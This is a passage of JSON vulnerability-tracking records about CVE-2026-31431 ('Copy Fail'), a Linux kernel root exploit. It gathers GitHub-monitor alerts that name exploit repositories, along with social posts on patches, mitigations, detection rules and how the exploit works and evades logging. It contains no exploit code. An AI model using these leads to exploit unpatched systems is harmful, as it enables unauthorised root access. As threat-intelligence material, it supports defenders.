"54e0de2e-7f1f-467a-a2ff-e336d25741e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82153", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ryan2929\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 06:56:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T07:00:04.000000Z"}, {"uuid": "9f9db697-b199-48dd-bce3-821f4a161d2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82156", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Linux-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a iss4cf0ng\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Rust\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 07:59:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRust implementation Exploit/PoC of CVE-2026-31431-Linux-Copy-Fail, allow executing customized shellcode (such as Meterpreter).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T08:00:04.000000Z"}, {"uuid": "5433b966-83c1-4aa9-991e-ad1d25170d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82177", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-exploit_py2_py3\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jiangban046-spec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 09:59:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u4e00\u4e2a\u517c\u5bb9python2\u548cpython3\u7684CVE-2026-31431\u811a\u672c\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T10:00:05.000000Z"}, {"uuid": "514dbcc9-b59d-4f98-b711-960e365c259f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82192", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail-Universal-LPE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shadowabi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 10:54:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T11:00:05.000000Z"}, {"uuid": "c401c01b-e020-4846-b18b-a77ee40df0cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82105", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-go\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a badsectorlabs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-29 22:53:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA Go implementation of copyfail (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-29T23:00:04.000000Z"}, {"uuid": "c17c6369-45bc-4f4d-8704-f62e569d0c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82122", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-c\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tgies\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 00:58:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCross-platform C port of the Copy Fail Linux LPE (CVE-2026-31431). Disclosed 2026-04-29 by Theori / Xint.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T01:00:04.000000Z"}, {"uuid": "1c45c48e-e078-415d-9425-bb55e7135c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82145", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431-detection\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a thrandomv\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 04:56:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDefensive detection package for CVE-2026-31431 (Linux kernel AF_ALG LPE). Sigma, Falco, auditd, KQL, and EQL rules mapped to MITRE ATT&CK T1068/T1611. Includes detection logic designed for auditd, eBPF, and EDR telemetry pipelines.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T05:00:04.000000Z"}, {"uuid": "9a0db283-3a10-47ac-a02e-bcadb26c41a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82150", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-C\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bigwario\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 05:59:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T06:00:04.000000Z"}, {"uuid": "0ab5c407-e4a6-40ae-94ea-56e48dbf82a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Earl.mast.john1126.com.ap.brid.gy/post/3mkqu6zohemi2", "content": "For testing the Linux vulnerability (recently disclosed as \"Copy Fail CVE-2026-31431\"), I booted my notebook computer up with a live DVD, so the exploit I am testing should not get saved to the machine.\n\nWill Linux Mint 21.2 succumb to the exploit?\n\nMy [\u2026] \n\n[Original post on mast.john1126.com]", "creation_timestamp": "2026-05-01T00:26:01.042822Z"}, {"uuid": "4e6e8108-94bd-4c88-bb34-e0775a58672c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.info.ve/post/3mkquvrlo2k22", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona 'Copy Fail'? El exploit de 732 bytes que otorga acceso Root en Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.info.ve/2026/04/copy...", "creation_timestamp": "2026-05-01T00:32:38.332529Z"}, {"uuid": "8eda1d47-1176-417e-aae8-5cd37d936fc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nodo.kahanamura.com/post/3mkqv5cflvk2i", "content": "The exploit affects *ALL DISTRIBUTIONS THAT HAVE NOT BEEN PATCHED FOR CVE-2026-31431*. \n\nI've patched my systems temporarily by disabling AEAD whilst I wait for Arch to push a new kernel if they've not done so already.\n\nYou can do so with the command in the following post:\n(RUN THIS AS ROOT!)", "creation_timestamp": "2026-05-01T00:36:47.075003Z"}, {"uuid": "aedd6891-01db-4430-b51f-9d531ef2ee00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nodo.kahanamura.com/post/3mkqv5cufjs2i", "content": "The exploit affects *ALL DISTRIBUTIONS THAT HAVE NOT BEEN PATCHED FOR CVE-2026-31431*. \n\nI've patched my systems temporarily by disabling AEAD whilst I wait for Arch to push a new kernel if they've not done so already.\n\nYou can do so with the command in the following post:\n(RUN THIS AS ROOT!)", "creation_timestamp": "2026-05-01T00:36:47.607630Z"}, {"uuid": "20222636-ae0e-4bde-ba18-b3369ac908e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nodo.kahanamura.com/post/3mkqv5cufjt2i", "content": "The exploit affects *ALL DISTRIBUTIONS THAT HAVE NOT BEEN PATCHED FOR CVE-2026-31431*. \n\nI've patched my systems temporarily by disabling AEAD whilst I wait for Arch to push a new kernel if they've not done so already.\n\nYou can do so with the command in the following post:\n(RUN THIS AS ROOT!)", "creation_timestamp": "2026-05-01T00:36:48.131812Z"}, {"uuid": "e9469974-3d5c-4972-b5bc-2a5ba0c41074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkqvmsmyhv2q", "content": "CVE-2026-31431 "Copy Fail" is a Linux kernel flaw allowing local users to gain root by corrupting page cache of setuid binaries via algif_aead. Patches released in kernels 7.0, 6.19.12, and 6.18.22. #LinuxKernel #PrivilegeEscalation #USA", "creation_timestamp": "2026-05-01T00:45:27.748543Z"}, {"uuid": "87d885da-c23d-49ec-9802-215f2f2b05c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82246", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sngrotesque\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 23:59:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe code after complete confusion.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T00:00:05.000000Z"}, {"uuid": "3ccfb247-afd3-4d04-a4cf-726cc2912986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/feistel.sns.feistel.party.ap.brid.gy/post/3mkqwz547yc72", "content": "#CopyFail #cve_2026_31431 I wrote about denying containers access to AF_ALG sockets with SELinux\nhttps://blog.feistel.party/2026/04/30/deny-alg-socket-to-containers-with-selinux-to-mitigate-cve-2026-31431.html", "creation_timestamp": "2026-05-01T01:15:11.095323Z"}, {"uuid": "e4a0a872-5b87-42eb-b38b-9570564bcfe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yabuki.bsky.social/post/3mkr2ajwbxa25", "content": "Debian\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3fix\u3057\u305f\u30ab\u30fc\u30cd\u30eb\u304c\u964d\u308a\u3066\u304d\u3066\u3044\u308b\u306e\u3067\u3001\u5404\u81ea\u5bfe\u5fdc\u3092\u304a\u9858\u3044\u3057\u307e\u3059\u3002\u308f\u305f\u3057\u306f\u5bfe\u5fdc\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-31431\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-05-01T02:08:06.612667Z"}, {"uuid": "1a19d7a2-b2fb-449b-92ea-7eef04f0d11d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mkr2zq7oej24", "content": "\u201cCopy Fail\u201d Linux Zero-Day CVE-2026-31431 Sparks Panic Over Root-Level Takeover Claims Across Major\u00a0Systems\n\nIntroduction: A Quiet Linux Flaw Turning Into a Loud Underground Alarm A newly discussed Linux vulnerability tracked as CVE-2026-31431, also referred to in underground forums as \u201cCopy Fail,\u201d\u2026", "creation_timestamp": "2026-05-01T02:22:09.781681Z"}, {"uuid": "ccdc779d-3acf-445a-80e1-70ec46039883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkr2taj5rie2", "content": "CVE-2026-31431 (Copy Fail): Linux Kernel LPE Article URL: https://securityboulevard.com/2026/04/cve-2026-31431-copy-fail-linux-kernel-lpe/ Comments URL: https://news.ycombinator.com/item?id=4797035...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-01T02:28:51.008640Z"}, {"uuid": "1d9bd093-42aa-4fef-af1e-94da1095abe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkr3im64kw25", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 213 interactions\nCVE-2026-3854: 53 interactions\nCVE-2026-41940: 32 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 160 interactions\nCVE-2026-41940: 31 interactions\nCVE-2025-31431: 29 interactions\n", "creation_timestamp": "2026-05-01T02:30:27.803104Z"}, {"uuid": "3ab6b46c-0ad6-4737-9c84-6eed5db9a6e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkr3i6agi2vh", "content": "Copy Fail \u2014 CVE-2026-31431 https://copy.fail/", "creation_timestamp": "2026-05-01T02:30:37.091398Z"}, {"uuid": "6fbf8982-2fdd-4dba-b03f-6651974987cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116496993374350234", "content": "As mentioned earlier in this thread, the su corruption route was only one possible strategy to be used by this exploit.\nHere's another variant of the exploit that doesn't have to rely on such things to achieve its goal.\nFor example, the simple escalate argument simply removes the password requirement for su'ing to root.  There are other payloads also possible.\nSuch exploits will not have process 'su' launched '/bin/sh IOCs in the syslogs.  Perhaps all that is relevant is the alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni)) part.  But there's no evidence of what was done.", "creation_timestamp": "2026-05-01T02:37:38.256314Z"}, {"uuid": "880c3e54-511d-4b5a-92c5-d2046baee527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116497063036419923", "content": "Some increased actor activities are shown targeting Linux Kernel (CVE-2026-31431) https://vuldb.com/vuln/358784/cti", "creation_timestamp": "2026-05-01T02:55:11.869771Z"}, {"uuid": "6ae4f993-2358-4070-8731-0dabda5024f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkr5qhknds2e", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300d\u306b\u3088\u308a\u30012017\u5e74\u4ee5\u964d\u3001\u4e3b\u8981\u306a\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u304c\u53ef\u80fd\u306b\u306a\u3063\u3066\u3044\u305f\u3002\n\n\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u3089\u306f\u3001Linux\u30ab\u30fc\u30cd\u30eb\u306b\u5b58\u5728\u3059\u308b\u300cCopy Fail\u300d\uff08CVE-2026-31431\uff09\u3068\u547c\u3070\u308c\u308b\u91cd\u5927\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u516c\u8868\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n\u653b\u6483\u8005\u306f\u3001\u308f\u305a\u304b732\u30d0\u30a4\u30c8\u306ePython\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u30012017\u5e74\u4ee5\u964d\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u4e3b\u8981\u306aLinux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5b58\u5728\u3059\u308b\u8ad6\u7406\u7684\u306a\u6b20\u9665\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\nCopy Fail\u306f\u3001Linu...", "creation_timestamp": "2026-05-01T03:10:41.669415Z"}, {"uuid": "cfb82d31-cbe1-4767-9d56-f6142fd1b33b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/stuartl.mastodon.longlandclan.id.au.ap.brid.gy/post/3mkr6f5zb7b22", "content": "Checking the #CopyFail #CVE_2026_31431 status on #AlpineLinux, again nothing heard officially from @alpinelinux but I did see this:\n\nhttps://github.com/theori-io/copy-fail-CVE-2026-31431/issues/4#issuecomment-4354558846\n\nMaybe the issue has been quietly dealt with or was never an issue to begin [\u2026]", "creation_timestamp": "2026-05-01T03:22:16.140526Z"}, {"uuid": "daf89421-362b-4408-9fc7-773e519dbac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Earl.mast.john1126.com.ap.brid.gy/post/3mkr76rsfjef2", "content": "Linux computers, even fully patched, are vulnerable to the \"Copy Fail CVE-2026-31431\" exploit.\n\nA temporary fix is shown on askubuntu.com.\n\nhttps://askubuntu.com/questions/1566254/how-do-i-fix-cve-2026-31431-on-ubuntu-24-04-lts\n\n#CopyFail #Security #Linux", "creation_timestamp": "2026-05-01T03:36:35.576630Z"}, {"uuid": "fa5ea75f-85e7-4f8a-be37-ba682d0407e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkr7dz3x5f2v", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-01T03:39:28.427916Z"}, {"uuid": "7d072864-a4ed-448e-a4a2-db43598519d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82264", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a alg_check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a professional-slacker\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 02:59:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T03:00:04.000000Z"}, {"uuid": "96f015e7-8ca5-421a-951e-966f85cc6489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/chezo.uno/post/3mkrbprxbz22q", "content": "WSL2\u3067Copy fail\u8abf\u3079\u305f\u3089\u3001\u3059\u3067\u306bdisable\u3055\u308c\u3066\u305f\u3063\u307d\u3044\n\n```\n\u276f grep -r algif_aead /etc/modprobe.d/\n\n/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)\n/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false\n```", "creation_timestamp": "2026-05-01T04:21:49.168761Z"}, {"uuid": "3511dbc7-dfe1-44c5-a694-d7f251aba00f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mkrdnwj4aa2j", "content": "The latest update for #Mendit includes \"CVE-2026-31431 (Copy Fail): #Linux Kernel LPE\" and \"Shai-Hulud Strikes #SAP: Supply Chain Worm Weaponized Claude Code to Compromise the CAP Framework\".\n \n#CyberSecurity #DevOps #OpenSource #Compliance https://opsmtrs.com/3zEYo7d", "creation_timestamp": "2026-05-01T04:56:36.577918Z"}, {"uuid": "bac6b8fc-55b5-4d54-b8b2-575228c88c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkrepvc7gcvh", "content": "Copy Fail\uff1a9\u5e74\u9593\u898b\u904e\u3054\u3055\u308c\u3066\u3044\u305fLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3082\u516c\u958b\uff08CVE-2026-31431\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/45427/", "creation_timestamp": "2026-05-01T05:16:00.011645Z"}, {"uuid": "fd32a886-8687-4420-80c2-e3f94202e445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/xchatter.techmeme.com/post/3mkrfp7ww3x2y", "content": "This tweet appeared under this Techmeme headline:\n\n@vxunderground:\n\nCVE-2026-31431 a/k/a CopyFail > Linux LPE > Description sounds like AI slop > Exploit is legit > Impacts every Linux kernel from 2017 - Now > Proof-of-concept released > It's Wednesday? https://copy.fail/", "creation_timestamp": "2026-05-01T05:33:08.096051Z"}, {"uuid": "4199a5fb-829d-4d30-b3f8-491524113989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": 